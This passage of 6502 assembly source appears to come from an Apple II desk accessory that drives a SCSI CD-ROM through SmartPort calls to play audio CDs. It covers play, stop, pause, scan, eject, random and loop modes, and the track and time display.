sta BCDTrackCount0Base
cld
jsr C24AudioStatus
lda SPBuffer
;; Audio Status = $00 (currently playing)
beq Playing
sec
sbc #1
;; Audio status = $01 (currently paused)
beq Paused
;; Audio status = anything else - stop operation explicitly
jsr DoStopAction
jmp ExitInitDriveDisc
;; Set Pause button to active
Paused:
dec PauseButtonState
jsr ToggleUIPauseButton
;; Read the current disc position and update the Track and Time display
jsr C28ReadQSubcode
jsr DrawTrack
jsr DrawTime
;; Set Play button to active
Playing:
dec PlayButtonState
;; Set drive playing flag to true
dec DrivePlayingFlag
jsr ToggleUIPlayButton
jmp ExitInitDriveDisc
ExitInitDriveDisc:
rts
.endproc ; InitDriveAndDisc
;;; ============================================================
;; This is the start of where all the real action takes place
.proc MainLoop
lda TOCInvalidFlag
;; Have we read in a valid, usable TOC from an audio CD?
IF_NOT_ZERO
;; We don't have a valid TOC - poll the drive to see if it's online so we can try to read a TOC
jsr StatusDrive
;; No - drive is offline, go check for user input instead
bcs CheckUserInput
;; Yes - make another attempt at reading a TOC
jsr ReReadTOC
END_IF
;; ----------------------------------------
;; Re-check the status of the drive
jsr StatusDrive
lda DrivePlayingFlag
IF_NOT_ZERO
;; Drive is playing audio, watch for an AudioStatus return code of $03 = "Play operation complete"
jsr C24AudioStatus
lda SPBuffer
cmp #$03
;; Audio playback operation is not complete
IF_EQ
;; Deal with reaching the end of a playback operation. It's complicated. :)
jsr PlayBackComplete
END_IF
;; Go read the QSubcode channel and update the Track & Time display
jsr C28ReadQSubcode
bcs CheckUserInput
jsr DrawTrack
jsr DrawTime
END_IF
;; ----------------------------------------
;; Read and process any Keyboard inputs from the user
CheckUserInput:
jsr JUMP_TABLE_SYSTEM_TASK
JUMP_TABLE_MGTK_CALL MGTK::GetEvent, aux::event_params
jsr CopyEventDataToMain
lda event_params::kind
IF_A_EQ #MGTK::EventKind::button_down
jsr ::HandleDown
bpl HandleKey ; was a button, mapped to key event
jmp MainLoop
END_IF
cmp #MGTK::EventKind::key_down
bne MainLoop
;; ----------------------------------------
HandleKey:
lda event_params::key
jsr ToUpperCase
ldx event_params::modifiers
IF_NOT_ZERO
cmp #kShortcutCloseWindow
jeq DoQuitAction
END_IF
;; $51 = Q (Quit)
cmp #'Q'
jeq DoQuitAction
;; $1B = ESC (Quit)
cmp #CHAR_ESCAPE
jeq DoQuitAction
;; $4C = L (Continuous Play)
IF_A_EQ #'L'
jsr ToggleLoopMode
jmp MainLoop
END_IF
;; $52 = R (Random Play)
IF_A_EQ #'R'
jsr ToggleRandomMode
jmp MainLoop
END_IF
;; All other key operations (Play/Stop/Pause/Next/Prev/Eject) require an online drive/disc, so check one more time
jsr StatusDrive
jcs MainLoop
;; Loop falls through to here only if the drive is online
pha
lda TOCInvalidFlag
;; Valid TOC has been read, we can skip the re-read
IF_NOT_ZERO
jsr ReReadTOC
END_IF
pla
;; $50 = P (Play)
IF_A_EQ #'P'
jsr DoPlayAction
jmp MainLoop
END_IF
;; $53 = S (Stop)
IF_A_EQ #'S'
jsr DoStopAction
jmp MainLoop
END_IF
;; $20 = Space (Pause)
IF_A_EQ #' '
jsr DoPauseAction
jmp MainLoop
END_IF
;; $08 = ^H, LA (Previous Track, Scan Backward)
IF_A_EQ #CHAR_LEFT
lda event_params::modifiers
IF_NOT_ZERO
jsr DoScanBackAction
jmp MainLoop
END_IF
jsr DoPrevTrackAction
jmp MainLoop
END_IF
;; $15 = ^U, RA (Next Track/Scan Forward)
IF_A_EQ #CHAR_RIGHT
lda event_params::modifiers
IF_NOT_ZERO
jsr DoScanFwdAction
jmp MainLoop
END_IF
jsr DoNextTrackAction
jmp MainLoop
END_IF
;; $45 = E (Eject)
IF_A_EQ #'E'
jsr C26Eject
END_IF
jmp MainLoop
.endproc ; MainLoop
;;; ============================================================
.proc DoQuitAction
rts
.endproc ; DoQuitAction
;;; ============================================================
.proc PlayBackComplete
lda RandomButtonState
IF_NOT_ZERO
;; Random button is active - handle rollover to next random track
lda PlayButtonState
;; Play button is inactive - bail out, there's nothing to do
beq ExitHandler
;; Increment the count of how many tracks have been played
inc HexPlayedCount0Base
lda HexPlayedCount0Base
cmp HexTrackCount0Base
;; Haven't played all the tracks on the disc, so pick another one
bne PlayARandomTrack
;; All tracks have been played randomly - clear the Play button STATE to inactive (with no UI change) ...
lda #$00
sta PlayButtonState
;; re-randomize from scratch ...
jsr RandomModeInit
;; then reset the Play button STATE back to active (again with no UI change)
lda #$ff
sta PlayButtonState
lda LoopButtonState
;; Loop button is active, so play the whole disc over again - start by picking a new track
bne PlayARandomTrack
;; Loop button is inactive - reset the first/last/current values to the TOC values and stop
lda BCDFirstTrackTOC
sta BCDFirstTrackNow
sta BCDRelTrack
lda BCDLastTrackTOC
sta BCDLastTrackNow
jsr DoStopAction
jmp ExitHandler
;; --------------------------------------------------
PlayARandomTrack:
jsr PickARandomTrack
lda BCDRandomPickedTrk
;; We're in random mode, "playing" just one track now, so Current/First/Last are all the same
sta BCDRelTrack
sta BCDFirstTrackNow
sta BCDLastTrackNow
;; and we're "stopping" at the end of the current track
jsr SetStopToEoBCDLTN
;; Set flag to Track mode, because we're in random mode
lda #$ff
sta TrackOrMSFFlag
;; Call AudioPlay function and exit
jsr C21AudioPlay
ELSE
;; Entire disc has been played to the end, do we need to loop?
lda LoopButtonState
IF_NOT_ZERO
;; Loop button is active - reset stop point to EoT LastTrack
jsr C23AudioStop
lda PlayButtonState
;; Play button is inactive - bail out, there's nothing to do
beq ExitHandler
;; Make sure we start fresh from the first track on the disc
lda BCDFirstTrackTOC
sta BCDFirstTrackNow
;; Set flag to MSF mode, because we're not in random mode
dec TrackOrMSFFlag
;; Call AudioPlay function and exit
jsr C21AudioPlay
ELSE
;; Stop, because Loop is inactive
lda PlayButtonState
;; Play button is inactive (already) - bail out, there's nothing to do
beq ExitHandler
;; Use the existing StopAction to stop everything
jsr DoStopAction
END_IF
END_IF
ExitHandler:
rts
.endproc ; PlayBackComplete
;;; ============================================================
.proc StatusDrive
pha
;; Try three times for a good status return
lda #$03
sta RetryCount
RetryLoop:
lda #SPCall::Status
sta SPCommandType
;; $00 = Code
lda #$00
sta SPCode
jsr SPCallVector
bcc GotStatus
dec RetryCount
bne RetryLoop
sec
;; Failed Status call three times - exit with carry set
bcs ExitStatusDrive ; always
;; First byte is general status byte
GotStatus:
lda SPBuffer
;; $B4 means Block Device, Read-Only, and Online (CD-ROM)
cmp #$b4
beq StatusDriveSuccess
lda TOCInvalidFlag
;; TOC is currently flagged invalid - that's expected, so just return the Status call failure
bne StatusDriveFail
;; EXCEPTION - Call a HardShutdown if we encounter a bad Status call with an existing valid TOC because something's gone very wrong
jsr HardShutdown
;; Hard-flag the TOC as now invalid
lda #$ff
sta TOCInvalidFlag
;; Exit with carry set
StatusDriveFail:
sec
bcs ExitStatusDrive ; always
;; Exit with carry clear
StatusDriveSuccess:
clc
ExitStatusDrive:
pla
rts
.endproc ; StatusDrive
;;; ============================================================
;; EXCEPTION - Explicitly stop the CD drive, forcibly clear the Play/Pause buttons, forcibly set the Stop button, and wipe the Track/Time display clean
.proc HardShutdown
jsr DoStopAction
lda PauseButtonState
IF_NOT_ZERO
;; Clear Pause button to inactive
lda #$00
sta PauseButtonState
jsr ToggleUIPauseButton
END_IF
lda PlayButtonState
IF_NOT_ZERO
;; Clear Play button to inactive
lda #$00
sta PlayButtonState
jsr ToggleUIPlayButton
END_IF
lda StopButtonState
IF_ZERO
;; Set Stop button to active
lda #$ff
sta StopButtonState
jsr ToggleUIStopButton
END_IF
;; "Null" out T/M/S values and blank Track & Time display
lda #$aa
sta BCDRelTrack
sta BCDRelMinutes
sta BCDRelSeconds
jsr DrawTrack
jsr DrawTime
rts
.endproc ; HardShutdown
;;; ============================================================
;; Called in the background if the drive reports a valid/online Status and we still have an invalid TOC.
.proc ReReadTOC
lda #$00
sta TOCInvalidFlag
jsr C27ReadTOC
sed
clc
lda BCDLastTrackTOC
sbc BCDFirstTrackTOC
adc #$01
;; Calculate the number of tracks on the disc, minus 1, and stash it
sta BCDTrackCount0Base
cld
;; Explicitly stop playback and set stop point to EoT LastTrack
jsr C23AudioStop
;; Set flag to Track mode
lda #$ff
sta TrackOrMSFFlag
;; Update Track and Time display
jsr C28ReadQSubcode
jsr DrawTrack
jsr DrawTime
lda RandomButtonState
;; Random button is inactive, so nothing else to do
beq ExitReReadTOC
;; Random button is active, so set up random mode
jsr RandomModeInit
ExitReReadTOC:
rts
.endproc ; ReReadTOC
;;; ============================================================
;;; Returns N=0 if the gesture has ended, N=1 otherwise
;;; * If the last event was `MGTK::EventKind::key_down`, assume it has ended
;;; * Otherwise, sample until `MGTK::EventKind::button_up`
.proc CheckGestureEnded
lda event_params::kind
cmp #MGTK::EventKind::key_down
beq ended
JUMP_TABLE_MGTK_CALL MGTK::GetEvent, aux::event_params
jsr CopyEventDataToMain
lda event_params::kind
cmp #MGTK::EventKind::button_up
beq ended
lda #$FF ; N=1
rts
ended: lda #$00 ; N=0
rts
.endproc ; CheckGestureEnded
;;; ============================================================
.proc DoPlayAction
lda PauseButtonState
IF_NOT_ZERO
;; Pause button is active - forcibly clear it to inactive and then...
lda #$00
sta PauseButtonState
jsr ToggleUIPauseButton
;; call AudioPause to release Pause (resume playing) and exit
jsr C22AudioPause
ELSE
lda PlayButtonState
IF_ZERO
;; Play button is inactive, we're starting from scratch - before activating, check the random mode
lda RandomButtonState
IF_NOT_ZERO
;; Random button is active - initialize random mode, pick a Track, and start it
jsr RandomModeInit
jsr PickARandomTrack
lda BCDRandomPickedTrk
;; In random mode, we're "playing" just one track, so Current/First/Last are all the same
sta BCDRelTrack
sta BCDFirstTrackNow
sta BCDLastTrackNow
;; and we "stop" playing at the end of that track
jsr SetStopToEoBCDLTN
jsr C20AudioSearch
END_IF
;; Set Play button to active
dec PlayButtonState
jsr ToggleUIPlayButton
lda StopButtonState
IF_NOT_ZERO
;; Set Stop button to inactive, then start the playback and exit
lda #$00
sta StopButtonState
jsr ToggleUIStopButton
END_IF
jsr C21AudioPlay
END_IF
END_IF
rts
.endproc ; DoPlayAction
;;; ============================================================
.proc DoStopAction
lda StopButtonState
IF_ZERO
;; Reset First/Last to TOC values
lda BCDFirstTrackTOC
sta BCDFirstTrackNow
lda BCDLastTrackTOC
sta BCDLastTrackNow
lda PlayButtonState
IF_NOT_ZERO
;; Clear Play button to inactive
lda #$00
sta PlayButtonState
jsr ToggleUIPlayButton
END_IF
lda PauseButtonState
IF_NOT_ZERO
;; Clear Pause button to inactive
lda #$00
sta PauseButtonState
jsr ToggleUIPauseButton
END_IF
;; Set Stop button to active
lda #$ff
sta StopButtonState
;; Switch Stop Flag to EoTrack mode
dec TrackOrMSFFlag
jsr ToggleUIStopButton
;; Force drive to seek to first track
lda BCDFirstTrackNow
sta BCDRelTrack
jsr C20AudioSearch
;; Explicitly stop playback and set stop point to EoT last Track
jsr C23AudioStop
;; Update Track and Time display
jsr C28ReadQSubcode
jsr DrawTrack
jsr DrawTime
END_IF
rts
.endproc ; DoStopAction
;;; ============================================================
.proc DoPauseAction
lda StopButtonState
IF_ZERO
;; Toggle Pause button
lda #$ff
eor PauseButtonState
sta PauseButtonState
jsr ToggleUIPauseButton
;; Execute pause action (pause or resume) based on new button state
jsr C22AudioPause
END_IF
rts
.endproc ; DoPauseAction
;;; ============================================================
.proc ToggleLoopMode
lda #$ff
eor LoopButtonState
sta LoopButtonState
jsr ToggleUILoopButton
rts
.endproc ; ToggleLoopMode
;;; ============================================================
.proc ToggleRandomMode
lda #$ff
eor RandomButtonState
sta RandomButtonState
IF_NOT_ZERO
;; Random button is now active - re-initialize random mode and exit
jsr RandomModeInit
ELSE
;; Random button is now inactive - reset First/Last to TOC values and update stop point to EoT last Track
RandomIsInactive:
lda BCDLastTrackTOC
sta BCDLastTrackNow
lda BCDFirstTrackTOC
sta BCDFirstTrackNow
jsr SetStopToEoBCDLTN
END_IF
;; Update UI, wait for key release, and exit
jsr ToggleUIRandButton
rts
.endproc ; ToggleRandomMode
;;; ============================================================
.proc RandomModeInit
;; Zero the Played Track Counter
lda #$00
sta HexPlayedCount0Base
;; Clear the list of what Tracks have been played
jsr ClearPlayedList
;; Convert the BCD count-of-tracks-minus-1 into a Hex count-of-tracks-minus-1 and store it in HexTrackCount0Base
lda BCDTrackCount0Base
and #$0f
sta HexTrackCount0Base
lda BCDTrackCount0Base
and #$f0
lsr a
sta RandFuncTempStorage
lsr a
lsr a
clc
adc RandFuncTempStorage
clc
adc HexTrackCount0Base
;; This value is used to compare against HexPlayedCount0Base so we can determine when we've random-played the whole disc
sta HexTrackCount0Base
lda PlayButtonState
;; Play button is inactive - don't do anything else
beq ExitRandomInit
;; Play button is active - set the current Track as First/Last/Picked, and set the proper random Stop mode
lda BCDRelTrack
sta BCDRandomPickedTrk
sta BCDFirstTrackNow
sta BCDLastTrackNow
jsr SetStopToEoBCDLTN
;; Mark the current Track's element of the Played List as $FF ("played")
tya
pha
ldy BCDRelTrack
lda #$ff
sta (PlayedListPtr),y
pla
tay
ExitRandomInit:
rts
.endproc ; RandomModeInit
;;; ============================================================
.proc DoScanBackAction
lda PlayButtonState
;; Play button is inactive - bail out, there's nothing to do
beq ExitScanBackAction
lda PauseButtonState
;; Pause button is active - bail out, there's nothing to do
bne ExitScanBackAction
;; Highlight the Scan Back button and engage "scan" mode backwards
jsr ToggleUIScanBackButton
jsr C25AudioScanBack
;; Keep updating the time display as long as you get good QSub reads
Loop:
jsr C28ReadQSubcode
bcs QSubReadErr
jsr DrawTrack
jsr DrawTime
;; Keep scanning as long as the key is held down
QSubReadErr:
jsr CheckGestureEnded
bmi Loop
;; Key released - dim the Scan Back button, and resume playing from where we are
jsr ToggleUIScanBackButton
jsr C22AudioPause
ExitScanBackAction:
rts
.endproc ; DoScanBackAction
;;; ============================================================
.proc DoScanFwdAction
lda PlayButtonState
;; Play button is inactive - bail out, there's nothing to do
beq ExitScanFwdAction
lda PauseButtonState
;; Pause button is active - bail out, there's nothing to do
bne ExitScanFwdAction
;; Highlight the Scan Forward button and engage "scan" mode forward
jsr ToggleUIScanFwdButton
jsr C25AudioScanFwd
;; Keep updating the time display as long as you get good QSub reads
Loop:
jsr C28ReadQSubcode
bcs QSubReadErr
jsr DrawTrack
jsr DrawTime
;; Keep scanning as long as the key is held down
QSubReadErr:
jsr CheckGestureEnded
bmi Loop
;; Key released - dim the Scan Forward button, and resume playing from where we are
jsr ToggleUIScanFwdButton
jsr C22AudioPause
ExitScanFwdAction:
rts
.endproc ; DoScanFwdAction
;;; ============================================================
.proc DoPrevTrackAction
jsr ToggleUIPrevButton
;; Reset to start of track
lda #$00
sta BCDRelMinutes
sta BCDRelSeconds
jsr DrawTime
WrapCheck:
lda BCDRelTrack
IF_A_EQ BCDFirstTrackTOC
;; If we're not at the "first" track, just decrement track #
;; Otherwise, wrap to the "last" track instead
lda BCDLastTrackTOC
sta BCDRelTrack
ELSE
;; BCD decrement
sed
lda BCDRelTrack
sbc #$01
sta BCDRelTrack
cld
END_IF
lda RandomButtonState
IF_NOT_ZERO
;; Random button is active - set the current Track as First/Last/Picked, and set the proper random Stop mode
lda BCDRelTrack
sta BCDFirstTrackNow
sta BCDLastTrackNow
sta BCDRandomPickedTrk
jsr SetStopToEoBCDLTN
END_IF
;; Seek to new Track and update Track display
jsr C20AudioSearch
jsr DrawTrack
lda #$FF ; TODO: Does this need to be a word?
sta Counter
HeldKeyCheck:
jsr CheckGestureEnded
bpl KeyReleased
dec Counter
beq WrapCheck ; Repeat the action
bne HeldKeyCheck ; always
KeyReleased:
jsr ToggleUIPrevButton
rts
Counter:
.byte 0
.endproc ; DoPrevTrackAction
;;; ============================================================
.proc DoNextTrackAction
jsr ToggleUINextButton
;; Reset to start of track
lda #$00
sta BCDRelMinutes
sta BCDRelSeconds
jsr DrawTime
WrapCheck:
lda BCDRelTrack
IF_A_EQ BCDLastTrackTOC
;; If we're not at the "last" track, just increment track #
;; Otherwise, wrap to the "first" track instead
lda BCDFirstTrackTOC
sta BCDRelTrack
ELSE
;; BCD increment
sed
lda BCDRelTrack
adc #$01
sta BCDRelTrack
cld
END_IF
lda RandomButtonState
IF_NOT_ZERO
;; Random button is active - set the current Track as First/Last/Picked, and set the proper random Stop mode
lda BCDRelTrack
sta BCDFirstTrackNow
sta BCDLastTrackNow
sta BCDRandomPickedTrk
jsr SetStopToEoBCDLTN
END_IF
;; Seek to new Track and update Track display
jsr C20AudioSearch
jsr DrawTrack
lda #$FF ; TODO: Does this need to be a word?
sta Counter
HeldKeyCheck:
jsr CheckGestureEnded
bpl KeyReleased
dec Counter
beq WrapCheck ; Repeat the action
bne HeldKeyCheck ; always
KeyReleased:
jsr ToggleUINextButton
rts
Counter:
.byte 0
.endproc ; DoNextTrackAction
;;; ============================================================
.proc C26Eject
jsr ToggleUIEjectButton
lda #SPControlSCSIAudio::Eject
sta SPCode
lda #SPCall::Control
sta SPCommandType
jsr SPCallVector
jsr ToggleUIEjectButton
lda StopButtonState
IF_ZERO
;; Stop button was active
lda PauseButtonState
IF_NOT_ZERO
;; Clear Pause button to inactive
lda #$00
sta PauseButtonState
jsr ToggleUIPauseButton
END_IF
lda PlayButtonState
IF_NOT_ZERO
;; Clear Play button to inactive
lda #$00
sta PlayButtonState
jsr ToggleUIPlayButton
END_IF
;; Clear Drive Playing state
lda #$00
sta DrivePlayingFlag
;; Set Stop button to active
sec
sbc #1
sta StopButtonState
jsr ToggleUIStopButton
END_IF
;; "Null" out T/M/S, blank Track & Time display, and invalidate the TOC
lda #$aa
sta BCDRelTrack
sta BCDRelMinutes
sta BCDRelSeconds
jsr DrawTrack
jsr DrawTime
lda #$ff
sta TOCInvalidFlag
rts
.endproc ; C26Eject
;;; ============================================================
.proc C21AudioPlay
lda #$ff
sta DrivePlayingFlag
lda #SPCall::Control
sta SPCommandType
lda #SPControlSCSIAudio::AudioPlay
sta SPCode
jsr ZeroOutSPBuffer
;; Stop flag = $00 (stop address in 2-5) LA I think this is wrong, and it should be start address?
lda #$00
sta SPBuffer
;; Play mode = $09 (Standard stereo)
lda #$09
sta SPBuffer + 1
lda TrackOrMSFFlag
;; Use M/S/F to stop playback at the end of the disc for sequential mode
beq StopAtMSF
;; Use end of currently-selected Track as "stop" point for random mode
StopAtTrack:
lda BCDFirstTrackNow
sta SPBuffer + 2
;; Address Type = $02 (Track)
lda #$02
sta SPBuffer + 6
lda #$00
sta TrackOrMSFFlag
beq CallAudioPlay ; always
StopAtMSF:
lda BCDAbsMinutes
sta SPBuffer + 4
lda BCDAbsSeconds
sta SPBuffer + 3
lda BCDAbsFrame
sta SPBuffer + 2
;; Address Type = $01 (MSF)
lda #$01
sta SPBuffer + 6
CallAudioPlay:
jsr SPCallVector
rts
.endproc ; C21AudioPlay
;;; ============================================================
.proc C20AudioSearch
lda #SPCall::Control
sta SPCommandType
lda #SPControlSCSIAudio::AudioSearch
sta SPCode
jsr ZeroOutSPBuffer
lda PlayButtonState
;; Play button is inactive - seek and hold
beq HoldAfterSearch
;; Play button is active - seek and play
PlayAfterSearch:
lda #$ff
;; Set the Drive Playing flag to active
sta DrivePlayingFlag
;; $01 = Play after search
lda #$01
bne ExecuteSearch ; always
;; $00 = Hold after search
HoldAfterSearch:
lda #$00
ExecuteSearch:
sta SPBuffer
;; $09 = Play mode (Standard stereo)
lda #$09
sta SPBuffer + 1
;; Search address = Track
lda BCDRelTrack
sta SPBuffer + 2
;; Address Type = $02 (Track)
lda #$02
sta SPBuffer + 6
jsr SPCallVector
lda PauseButtonState
IF_NOT_ZERO
;; Clear Pause button to inactive
inc PauseButtonState
jsr ToggleUIPauseButton
END_IF
lda BCDRelTrack
sta BCDFirstTrackNow
rts
.endproc ; C20AudioSearch
;;; ============================================================
.proc C24AudioStatus
lda #SPCall::Control
sta SPCommandType
lda #SPControlSCSIAudio::AudioStatus
sta SPCode
;; Try 3 times to fetch the Audio Status, then give up.
lda #$03
sta RetryCount
AudioStatusRetry:
jsr SPCallVector
bcc ExitAudioStatus
dec RetryCount
bne AudioStatusRetry
ExitAudioStatus:
rts
.endproc ; C24AudioStatus
;;; ============================================================
.proc C27ReadTOC
lda #SPCall::Control
sta SPCommandType
lda #SPControlSCSIAudio::ReadTOC
sta SPCode
;; Start Track # = $00 (Whole Disc), Type = $00 (request First/Last Track numbers)
jsr ZeroOutSPBuffer
;; Allocation Length = $0A (even though this space is unused)
lda #$0a
sta SPBuffer + 1
;; Try 3 times to read the TOC, then give up.
lda #$03
sta RetryCount
ReadTOCRetry:
jsr SPCallVector
bcc ReadTOCSuccess
dec RetryCount
bne ReadTOCRetry
sec
bcs ExitReadTOC ; always
;; First Track #
ReadTOCSuccess:
lda SPBuffer
sta BCDFirstTrackTOC
sta BCDFirstTrackNow
;; Last Track #
lda SPBuffer + 1
sta BCDLastTrackTOC
sta BCDLastTrackNow
clc
ExitReadTOC:
rts
.endproc ; C27ReadTOC
;;; ============================================================
.proc C28ReadQSubcode
lda #SPCall::Control
sta SPCommandType
lda #SPControlSCSIAudio::ReadQSubcode
sta SPCode
;; Try 3 times to read the QSubcode, then give up.
lda #$03
sta RetryCount
RetryReadQSubcode:
jsr SPCallVector
bcc ReadQSubcodeSuccess
dec RetryCount
bne RetryReadQSubcode
beq ExitReadQSubcode ; always
;; Data is the control flag, the track number (BCD), the index
;; number, then minutes/seconds/frames (BCD) relative to the
;; start of the track, then minutes/seconds/frames (BCD)
;; absolute disc position. (c/o @MESSDrivers on YouTube)
ReadQSubcodeSuccess:
lda SPBuffer + 1
sta BCDRelTrack
lda SPBuffer + 3
sta BCDRelMinutes
lda SPBuffer + 4
sta BCDRelSeconds
lda SPBuffer + 6
sta BCDAbsMinutes
lda SPBuffer + 7
sta BCDAbsSeconds
lda SPBuffer + 8
sta BCDAbsFrame
lda SPBuffer + 2
beq ReadQSubcodeFail
;; Clear carry on success
clc
bcc ExitReadQSubcode ; always
;; Set carry on failure
ReadQSubcodeFail:
sec
ExitReadQSubcode:
rts
.endproc ; C28ReadQSubcode
;;; ============================================================
.proc C23AudioStop
lda #$00
sta DrivePlayingFlag
lda #SPCall::Control
sta SPCommandType
lda #SPControlSCSIAudio::AudioStop
sta SPCode
;; Address type = $00 (Block), Block = 0
jsr ZeroOutSPBuffer
;; All-zeros AudioStop stops immediately. Unknown if it
;; affects the saved stop position. (c/o @MESSDrivers on
;; YouTube)
jsr SPCallVector
FALL_THROUGH_TO SetStopToEoBCDLTN
.endproc ; C23AudioStop
;;; ============================================================
.proc SetStopToEoBCDLTN
lda #SPCall::Control
sta SPCommandType
lda #SPControlSCSIAudio::AudioStop
sta SPCode
jsr ZeroOutSPBuffer
;; Address = Last Track
lda BCDLastTrackNow
sta SPBuffer
;; Address Type = $02 (Track)
lda #$02
sta SPBuffer + 4
;; Set a stop point at EoT, last Track
jsr SPCallVector
rts
.endproc ; SetStopToEoBCDLTN
;;; ============================================================
.proc C22AudioPause
lda #SPCall::Control
sta SPCommandType
lda #SPControlSCSIAudio::AudioPause
sta SPCode
jsr ZeroOutSPBuffer
lda PauseButtonState
;; Invert the current Pause button state...
eor #$ff
;; and make it the Drive Playing state
sta DrivePlayingFlag
;; Mask off the low bit in order to use the new Drive Playing state value to set the Pause/Unpause parameter for the call
and #$01
;; $00 = Pause, $01 = UnPause/Resume (Button $00 = Paused, $FF = Unpaused)
sta SPBuffer
jsr SPCallVector
rts
.endproc ; C22AudioPause
;;; ============================================================
.proc C25AudioScanFwd
lda #SPControlSCSIAudio::AudioScan
sta SPCode
lda #SPCall::Control
sta SPCommandType
jsr ZeroOutSPBuffer
;; $00 = Forward
lda #$00
sta SPBuffer
;; Start from the current M/S/F
lda BCDAbsMinutes
sta SPBuffer + 4
lda BCDAbsSeconds
sta SPBuffer + 3
lda BCDAbsFrame
sta SPBuffer + 2
;; $01 = Type (MSF)
lda #$01
sta SPBuffer + 6
jsr SPCallVector
rts
.endproc ; C25AudioScanFwd
;;; ============================================================
.proc C25AudioScanBack
lda #SPCall::Control
sta SPCommandType
lda #SPControlSCSIAudio::AudioScan
sta SPCode
jsr ZeroOutSPBuffer
;; $01 = Backward
lda #$01
sta SPBuffer
;; Start from the current M/S/F
lda BCDAbsMinutes
sta SPBuffer + 4
lda BCDAbsSeconds
sta SPBuffer + 3
lda BCDAbsFrame
sta SPBuffer + 2
;; $01 = Type (MSF)
lda #$01
sta SPBuffer + 6
jsr SPCallVector
rts
.endproc ; C25AudioScanBack
;;; ============================================================
.proc ZeroOutSPBuffer
lda #$00
ldx #$0e
SPZeroLoop:
sta SPBuffer,x
dex
bpl SPZeroLoop
rts
.endproc ; ZeroOutSPBuffer
;;; ============================================================
.proc FindHardware
;; Save state
jsr FindSCSICard
bcs ExitFindHardware
jsr SmartPortCallSetup
jsr FindCDROM
ExitFindHardware:
rts
;;; --------------------------------------------------
.proc FindSCSICard
lda #$07
CheckSlot:
sta CardSlot
and #$0f
ora #$c0
sta ZP1 + 1
lda #$fb
sta ZP1
ldy #0 ; TODO: Preserve Y?
lda (ZP1),y
;; $82 = SCSI card, extended SP calls
cmp #$82
beq YesFound
lda CardSlot
sec
sbc #1
bne CheckSlot
;; Set carry on error
sec
bcs ExitFindSCSICard ; always
;; Clear carry on success
YesFound:
clc
ExitFindSCSICard:
rts
.endproc ; FindSCSICard
;;; --------------------------------------------------
.proc FindCDROM
lda #SPCall::Status
sta SPCommandType
;; UnitNum = $00, StatusCode = $00 returns status of SmartPort itself
lda #$00
sta SPUnitNumber
sta SPCode
;; ParmCount = 3
lda #$03
sta SPParmCount
jsr SPCallVector
;; Byte offset $00 = Number of devices connected
ldx SPBuffer
;; $03 = Return Device Information Block (DIB), 25 bytes
lda #$03
sta SPCode
NextDevice:
stx CD_SPDevNum
stx SPUnitNumber
;; Make DIB call for current device
jsr SPCallVector
;; Byte 1 = Device status
lda SPBuffer
;; Force "online" bit true
ora #$10
;; $B4 = 10110100 = Block device, Not writeable, Readable, Can't format, Write protected (aka CD-ROM)
cmp #$b4
beq CDROMFound
ldx CD_SPDevNum
dex
bne NextDevice
;; Set carry on failure
sec
bcs ExitFindCDROM ; always
;; Clear carry on success
CDROMFound:
clc
ExitFindCDROM:
rts
.endproc ; FindCDROM
;;; --------------------------------------------------
.proc SmartPortCallSetup
pha
lda CardSlot
ora #$c0
sta SPCallVector + 2
sta SelfModLDA + 2
SelfModLDA:
lda $C0FF ; high byte is modified
clc
adc #$03
sta SPCallVector + 1
pla
rts
.endproc ; SmartPortCallSetup
.endproc ; FindHardware
;;; ============================================================
SPCallVector:
jsr $0000
SPCommandType:
.byte $00
SPParmsAddr:
.addr SPParmCount
rts
;; SmartPort Parameter Table
SPParmCount: .byte $00
SPUnitNumber: .byte $00
SPBufferAddr: .addr SPBuffer
;; Status code for SPCommandType Status ($00), Control code for SPCommandType Control ($04)
SPCode: .byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
SPBuffer := DA_IO_BUFFER ; 1K free to use in Main after loading
;;; ============================================================
.proc DrawTrack
pha
;; Only update/draw if changed
lda BCDRelTrack
cmp last_track
beq skip
txa
pha
tya
pha
lda BCDRelTrack
sta last_track
jsr HighBCDDigitToASCII
sta str_track_num+1 ; "0_"
lda BCDRelTrack
jsr LowBCDDigitToASCII
sta str_track_num+2 ; "_0"
JUMP_TABLE_MGTK_CALL MGTK::GetWinPort, aux::getwinport_params
IF_ZERO
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
jsr ::DrawTrack
END_IF
pla
tay
pla
tax
skip:
pla
rts
.endproc ; DrawTrack
.proc DrawTime
pha
;; Only update/draw if changed
lda BCDRelMinutes
cmp last_min
bne :+
lda BCDRelSeconds
cmp last_sec
beq skip
:
txa
pha
tya
pha
lda BCDRelMinutes
sta last_min
jsr HighBCDDigitToASCII
sta str_time+1 ; "0_:__"
lda BCDRelMinutes
jsr LowBCDDigitToASCII
sta str_time+2 ; "_0:__"
lda BCDRelSeconds
sta last_sec
jsr HighBCDDigitToASCII
sta str_time+4 ; "__:0_"
lda BCDRelSeconds
jsr LowBCDDigitToASCII
sta str_time+5 ; "__:_0"
JUMP_TABLE_MGTK_CALL MGTK::GetWinPort, aux::getwinport_params
IF_ZERO
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
jsr ::DrawTime
END_IF
pla
tay
pla
tax
skip:
pla
rts
.endproc ; DrawTime
last_track:
.byte $FF
last_min:
.byte $FF
last_sec:
.byte $FF
.proc HighBCDDigitToASCII
and #$F0
clc
ror
ror
ror
ror
IF_A_LT #10 ; stuffed with $AA to blank
ora #'0'
rts
END_IF
lda #' '
rts
.endproc ; HighBCDDigitToASCII
.proc LowBCDDigitToASCII
and #$0F
IF_A_LT #10 ; stuffed with $AA to blank
ora #'0'
rts
END_IF
lda #' '
rts
.endproc ; LowBCDDigitToASCII
;;; ============================================================
ToggleUIStopButton:
param_jump ::InvertButton, aux::stop_button_rect
ToggleUIPlayButton:
param_jump ::InvertButton, aux::play_button_rect
ToggleUIEjectButton:
param_jump ::InvertButton, aux::eject_button_rect
ToggleUIPauseButton:
param_jump ::InvertButton, aux::pause_button_rect
ToggleUINextButton:
param_jump ::InvertButton, aux::next_button_rect
ToggleUIPrevButton:
param_jump ::InvertButton, aux::prev_button_rect
ToggleUIScanBackButton:
param_jump ::InvertButton, aux::back_button_rect
ToggleUIScanFwdButton:
param_jump ::InvertButton, aux::fwd_button_rect
ToggleUILoopButton:
param_jump ::InvertButton, aux::loop_button_rect
ToggleUIRandButton:
param_jump ::InvertButton, aux::shuffle_button_rect
;;; ============================================================
.proc PickARandomTrack
pha
;; Pick a random, unplayed track
txa
pha
tya
pha
;; Try five times to find a Played List element that is $00
ldx #$05
